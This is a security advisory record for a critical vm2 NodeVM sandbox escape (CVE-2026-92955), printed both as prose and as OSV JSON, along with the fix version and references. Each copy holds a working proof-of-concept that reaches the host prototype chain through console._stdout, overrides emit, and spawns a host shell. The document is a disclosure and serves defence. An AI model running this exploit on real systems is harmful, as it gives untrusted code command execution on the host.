GHSA-88HF-G992-JG85
Vulnerability from github – Published: 2026-10-05 22:47 – Updated: 2026-10-05 22:47Summary
It being possible to obtain the host __proto__ getter/setter, has been used in many reports:
- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq
- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg
- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p
- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6
Yet it was never patched...
This can, still, be used to escape the sandbox, one example (I'm sure there's other ways as well), is via console._stdout/console._stderr (NodeVM with console: 'inherit', which is the default)
Details
The prototype chain for console._stdout/console._stderr is:
_stdout / _stderr
-> WriteStream (TTY only)
-> Socket
-> Duplex
-> Readable
-> Stream
-> EventEmitter
process is an EventEmitter, and nothing stops us from writing things to EventEmmiter.prototype
By overwriting EventEmmiter.prototype.emit with a function, and making process emit an event (e.g. exit, unhandledRejection etc.), we can execute code with this being process.
This also bypasses --disallow-code-generation-from-strings, which blocks the "usual" escape of obtaining the host function constructor.
PoC
const { NodeVM } = require("vm2");
code = `
const gP = Buffer.call.call(__lookupGetter__,67,'__proto__');
// vm __proto__ getter
console.log(__lookupGetter__.call(0,'__proto__').call(console._stderr)); // [Object: null prototype] {}
// host __proto__ getter
console.log(gP.call(console._stderr)); // Socket { [...] }
let p = console._stdout;
while (p.pipe) {
console.log(p.constructor.name);
p = gP.call(p);
};
p.emit = function(){
console.log(this+[]);
this.getBuiltinModule("child_process").execSync("sh",{stdio:"inherit"})
}
`;
const vm = new NodeVM();
vm.run(code);
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.11.7"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-92955"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:47:09Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nIt being possible to obtain the host `__proto__` getter/setter, has been used in many reports:\n\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p\n- https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6\n\nYet it was never patched...\n\n---\n\nThis can, still, be used to escape the sandbox, one example (I\u0027m sure there\u0027s other ways as well), is via `console._stdout`/`console._stderr` (`NodeVM` with `console: \u0027inherit\u0027`, which is the default)\n\n## Details\n\nThe prototype chain for `console._stdout`/`console._stderr` is:\n\n```\n_stdout / _stderr\n-\u003e WriteStream (TTY only)\n-\u003e Socket\n-\u003e Duplex\n-\u003e Readable\n-\u003e Stream\n-\u003e EventEmitter\n```\n\n`process` is an `EventEmitter`, and nothing stops us from writing things to `EventEmmiter.prototype`\n\nBy overwriting `EventEmmiter.prototype.emit` with a function, and making `process` emit an event (e.g. `exit`, `unhandledRejection` etc.), we can execute code with `this` being `process`.\n\nThis also bypasses `--disallow-code-generation-from-strings`, which blocks the \"usual\" escape of obtaining the host function constructor.\n\n## PoC\n\n```js\nconst { NodeVM } = require(\"vm2\");\n\ncode = `\nconst gP = Buffer.call.call(__lookupGetter__,67,\u0027__proto__\u0027);\n\n// vm __proto__ getter\nconsole.log(__lookupGetter__.call(0,\u0027__proto__\u0027).call(console._stderr)); // [Object: null prototype] {}\n\n// host __proto__ getter\nconsole.log(gP.call(console._stderr)); // Socket { [...] }\n\nlet p = console._stdout;\nwhile (p.pipe) {\n\tconsole.log(p.constructor.name);\n\tp = gP.call(p);\n};\n\np.emit = function(){\n\tconsole.log(this+[]);\n\tthis.getBuiltinModule(\"child_process\").execSync(\"sh\",{stdio:\"inherit\"})\n}\n`;\n\nconst vm = new NodeVM();\nvm.run(code);\n```",
"id": "GHSA-88hf-g992-jg85",
"modified": "2026-10-05T22:47:09Z",
"published": "2026-10-05T22:47:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-88hf-g992-jg85"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92955"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/22a43704c04b66823b4064b8a16fe1ad54ad0290"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/v3.11.7/lib/bridge.js#L1963-L1989"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/v3.11.7/lib/setup-node-sandbox.js#L437-L440"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-via-nodevm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "vm2: Sandbox Escape (NodeVM)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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